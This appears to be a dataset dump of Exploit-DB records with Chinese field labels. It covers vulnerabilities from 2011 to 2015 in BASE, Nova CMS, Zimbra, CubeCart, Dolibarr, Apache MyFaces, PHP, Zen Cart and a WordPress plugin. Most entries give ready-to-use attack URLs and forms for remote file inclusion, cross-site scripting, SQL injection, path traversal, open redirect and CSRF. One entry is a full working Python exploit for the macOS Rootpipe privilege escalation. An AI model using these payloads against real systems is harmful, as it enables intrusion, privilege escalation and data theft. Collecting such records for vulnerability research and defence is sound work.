QLWD/code_shield huggingface dataset:
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_main.php?base_path' Remote File Inclusion EDB-ID: 36709 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
       
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
       
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
       
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_main.php            Line: 15
Exploit: http://www.example.com/base/base_main.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36709
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_payload.php?base_path' Remote File Inclusion EDB-ID: 36711 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
         
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
         
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
         
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/base_payload.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36711
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_local_rules.php?base_path' Remote File Inclusion EDB-ID: 36707 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
     
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
     
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
     
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_local_rules.php            Line: 1
Exploit: http://www.example.com/base/base_local_rules.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36707
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_graph_form.php?base_path' Remote File Inclusion EDB-ID: 36705 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
   
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
   
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
   
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_graph_form.php            Line: 1
Exploit: http://www.example.com/base/base_graph_form.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36705
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_graph_display.php?base_path' Remote File Inclusion EDB-ID: 36704 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
  
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
  
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
  
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_graph_display.php            Line: 2
Exploit: http://www.example.com/base/base_graph_display.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36704
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_graph_main.php?base_path' Remote File Inclusion EDB-ID: 36706 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
    
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
    
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
    
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_graph_main.php            Line: 1
Exploit: http://www.example.com/base/base_graph_main.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36706
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_db_setup.php?base_path' Remote File Inclusion EDB-ID: 36702 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info

BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.

An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_db_setup.php            Line: 1
Exploit: http://www.example.com/base/base_db_setup.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36702
标题: Nova CMS - '/includes/function/usertpl.php?conf[blockfile]' Remote File Inclusion EDB-ID: 36699 CVE: 2012-1200 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51976/info
   
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
   
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
   
http://www.example.com/novacms/includes/function/usertpl.php?conf[blockfile]=[EV!L] URL: https://www.exploit-db.com/exploits/36699
标题: Nova CMS - '/optimizer/index.php?fileType' Remote File Inclusion EDB-ID: 36697 CVE: 2012-1200 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51976/info
 
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
 
http://www.example.com/novacms/optimizer/index.php?fileType=[EV!L] URL: https://www.exploit-db.com/exploits/36697
标题: Nova CMS - '/administrator/modules/moduleslist.php?id' Remote File Inclusion EDB-ID: 36696 CVE: 2012-1200 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51976/info

Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. 

http://www.example.com/novacms/administrator/modules/moduleslist.php?id=[EV!L] URL: https://www.exploit-db.com/exploits/36696
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_logout.php?base_path' Remote File Inclusion EDB-ID: 36708 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
      
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
      
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
      
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_logout.php            Line: 1
Exploit: http://www.example.com/base/base_logout.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36708
标题: Zimbra - 'view' Cross-Site Scripting EDB-ID: 36695 CVE: 2012-1213 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/51974/info

Zimbra is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/zimbra/h/calendar?view=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E URL: https://www.exploit-db.com/exploits/36695
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_maintenance.php?base_path' Remote File Inclusion EDB-ID: 36710 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
        
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
        
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
        
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/base_maintenance.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36710
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_graph_common.php?base_path' Remote File Inclusion EDB-ID: 36703 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
 
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
 
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_graph_common.php            Line: 1
Exploit: http://www.example.com/base/base_graph_common.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36703
标题: Nova CMS - '/includes/function/gets.php?Filename' Remote File Inclusion EDB-ID: 36698 CVE: 2012-1200 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51976/info
  
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
  
http://www.example.com/novacms/includes/function/gets.php?filename=[EV!L] URL: https://www.exploit-db.com/exploits/36698
标题: CubeCart 3.0.20 - 'switch.php?r' Arbitrary Site Redirect EDB-ID: 36687 CVE: 2012-0865 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51966/info
  
CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
  
A successful exploit may aid in phishing attacks; other attacks are possible.
  
CubeCart 3.0.20 is vulnerable; other versions may also be affected. 

http://www.example.com/cube3.0.20/switch.php?r=//yehg.net/&lang=es URL: https://www.exploit-db.com/exploits/36687
标题: CubeCart 3.0.20 - '/admin/login.php?goto' Arbitrary Site Redirect EDB-ID: 36686 CVE: 2012-0865 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51966/info
 
CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit may aid in phishing attacks; other attacks are possible.
 
CubeCart 3.0.20 is vulnerable; other versions may also be affected. 

http://www.example.com/cube3.0.20/admin/login.php?goto=//yehg.net URL: https://www.exploit-db.com/exploits/36686
标题: CubeCart 3.0.20 - Multiple Script 'redir' Arbitrary Site Redirects EDB-ID: 36685 CVE: 2012-0865 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51966/info

CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

CubeCart 3.0.20 is vulnerable; other versions may also be affected. 

http://www.example.com/cube/index.php?act=login&redir=Ly95ZWhnLm5ldC8%3D
http://www.example.com/cube/cart.php?act=reg&redir=L2N1YmUvaW5kZXgucGhwP2FjdD1sb2dpbg%3D%3D URL: https://www.exploit-db.com/exploits/36685
标题: Dolibarr ERP/CRM 3.x - '/adherents/fiche.php' SQL Injection EDB-ID: 36683 CVE: 2012-1225 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51956/info

Dolibarr is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dolibarr 3.2.0 Alpha is vulnerable; other versions may also be affected. 

http://www.example.com/adherents/fiche.php?rowid=-1%27 URL: https://www.exploit-db.com/exploits/36683
标题: Apache MyFaces - 'ln' Information Disclosure EDB-ID: 36681 CVE: 2011-4367 类型: REMOTE 平台: MULTIPLE 发布日期: 2012-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51939/info

Apache MyFaces is prone to a remote information-disclosure vulnerability.

Remote attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

The following versions are affected:

Apache MyFaces 2.0.1 through 2.0.11
Apache MyFaces 2.1.0 through 2.1.5 

http://www.example.com/faces/javax.faces.resource/web.xml?ln=../WEB-INF
http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF URL: https://www.exploit-db.com/exploits/36681
标题: Apple Mac OSX < 10.7.5/10.8.2/10.9.5/10.10.2 - 'Rootpipe' Local Privilege Escalation EDB-ID: 36692 CVE: 2015-1130 类型: LOCAL 平台: OSX 发布日期: 2015-04-09 漏洞利用脚本: ########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool URL: https://www.exploit-db.com/exploits/36692
标题: PHP PDORow Object - Remote Denial of Service EDB-ID: 36682 CVE: 2012-0788 类型: DOS 平台: PHP 发布日期: 2011-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/51952/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users.

PHP 5.3.8 is vulnerable; other versions may also be affected. 

<?php

// make a Pdo_Mysql statement before

$result = $stmt->fetch(PDO::FETCH_LAZY);

session_start();

$_SESSION['PDORow'] = $result;
?> URL: https://www.exploit-db.com/exploits/36682
标题: Zen Cart 1.3.9h - '/path_to_admin/product.php' Cross-Site Request Forgery EDB-ID: 36688 CVE: 2011-4403 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51968/info

Zen Cart is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Zen Cart 1.3.9h is vulnerable; other versions may be affected.

<form name="products" action="
http://www.example.com/path_to_admin/product.php?action=delete_product_confirm";
method="post">
<label for="securityToken">Security Token</label><br/><input type="text"
name="securityToken" value="Can be anything�" /><br/><br/>
<label for="products_id">Products ID</label><br/><input type="text"
name="products_id" value="329"><br/><br/>
<label for="product_categories[]">Products Category</label><br/><input
type="text" value="48" name="product_categories[]"><br/><br/>
<input type="submit" border="0" alt="Delete" value=" Delete Product">
</form> URL: https://www.exploit-db.com/exploits/36688
标题: WordPress Plugin Shareaholic 7.6.0.3 - Cross-Site Scripting EDB-ID: 36674 CVE: 2014-9311 类型: WEBAPPS 平台: PHP 发布日期: 2015-04-08 漏洞利用脚本: # Exploit Title: Shareaholic 7.6.0.3 XSS
# Date: 10-11-2014
# Software Link: https://wordpress.org/plugins/shareaholic/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9311
# Category: webapps

1. Description

ShareaholicAdmin::add_location is accessible for every registered user.

File: shareaholic\shareaholic.php

add_action('wp_ajax_shareaholic_add_location',  array('ShareaholicAdmin', 'add_location'));


$_POST['location'] is not escaped.

File: shareaholic\admin.php

public static function add_location() {
 $location = $_POST['location'];
 $app_name = $location['app_name'];
 ShareaholicUtilities::update_options(array(
   'location_name_ids' => array(
     $app_name => array(
       $location['name'] => $location['id']
     ),
   ),
   $app_name => array(
     $location['name'] => 'on'
   )
 ));

 echo json_encode(array(
   'status' => "successfully created a new {$location['app_name']} location",
   'id' => $location['id']
 ));

 die();
}

http://security.szurek.pl/shareaholic-7603-xss.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="shareaholic_add_location">
    <input type="hidden" name="location[app_name]" value="recommendations">
    <input type="hidden" name="location[name]" value="post_below_content">
    XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
    <input type="submit" value="Hack!">
</form>

XSS will be visible for admin:

http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings
  
3. Solution:
  
Update to version 7.6.1.0
https://downloads.wordpress.org/plugin/shareaholic.7.6.1.0.zip
https://blog.shareaholic.com/security-update-shareaholic-wordpress-plugin/ URL: https://www.exploit-db.com/exploits/36674